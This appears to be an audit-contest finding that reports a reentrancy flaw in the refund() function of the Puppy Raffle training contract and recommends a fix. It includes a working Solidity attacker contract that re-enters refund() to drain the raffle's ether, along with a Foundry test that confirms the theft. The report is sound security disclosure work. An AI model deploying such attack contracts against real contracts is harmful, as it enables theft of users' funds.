First Flight #2: Puppy Raffle
First Flight #2
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

(H-1) Not implementing checks-effects-interactions pattern properly, funds can be drained via reentrancy attack

zxarcs

Summary

Checks-effects-interactions pattern is not properly implemented. Because of this, funds can be drained via reentrancy attack.

Details

A malicious user can enter the raffle with an address of a contract. After entering the raffle, this contract would then call the refund function to get a refund. The contract would have a receive function that would again call the refund function. This reentrancy attack is possible because the refund function only updates the players array after it sends the funds to the address requesting refund.

Filename

src/PuppyRaffle.sol

Permalinks

https://github.com/Cyfrin/2023-10-Puppy-Raffle/blob/07399f4d02520a2abf6f462c024842e495ca82e4/src/PuppyRaffle.sol#L100-L103

Impact

Reentrancy attack can drain ether from the contract.

Recommendations

Update the players array before sending ether.

+ players[playerIndex] = address(0);
payable(msg.sender).sendValue(entranceFee);
- players[playerIndex] = address(0);

Tools Used

  • Manual Audit

  • Foundry

POC

Create a new attacker contract below.

Note: this is just a POC contract. It is beyond scope of this POC to ensure this attack contract is written securely and that funds are handled correctly once the contract has them.

//SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
​
import {PuppyRaffle} from "./PuppyRaffle.sol";
​
contract MaliciousContract {
uint256 playerIndex;
PuppyRaffle raffle;
​
constructor(address _raffleContract) {
raffle = PuppyRaffle(_raffleContract);
}
​
receive() external payable {
// code execution enters here when refund is sent
uint256 currentBalance = address(raffle).balance;
​
// ask for a refund again
// this enters the raffle contract in a loop where we continue to
// get refunds until there is 1 ether or less left in the refund contract
if (currentBalance >= 1 ether) {
raffle.refund(playerIndex);
}
}
​
function getFunds() external payable {}
​
function attack() external {
// create player array to enter raffle
address[] memory players = new address[](1);
players[0] = address(this);
​
// enter raffle as the contract
raffle.enterRaffle{value: 1 ether}(players);
​
// get our index in the players array
playerIndex = raffle.getActivePlayerIndex(address(this));
​
// ask for a refund
raffle.refund(playerIndex);
}
}

And the test function.

Note: this test function is to be added to the existing test suite as it needs already existing components from there.

import {MaliciousContract} from "../src/MaliciousContract.sol";
// ...
function testRefundCanDrainFunds() public playersEntered{
address attacker = address(101);
vm.deal(attacker, 2 ether);
vm.startPrank(attacker);
MaliciousContract maliciousContract = new MaliciousContract(address(puppyRaffle));
maliciousContract.getFunds{value: 1 ether}();
maliciousContract.attack();
vm.stopPrank();
// 5 ether because 5 participants entered: 1 attacker + 4 regular users.
assertEq(address(maliciousContract).balance, 5 ether);
}
Updates

Lead Judging Commences

Hamiltonite Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

reentrancy-in-refund

reentrancy in refund() function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.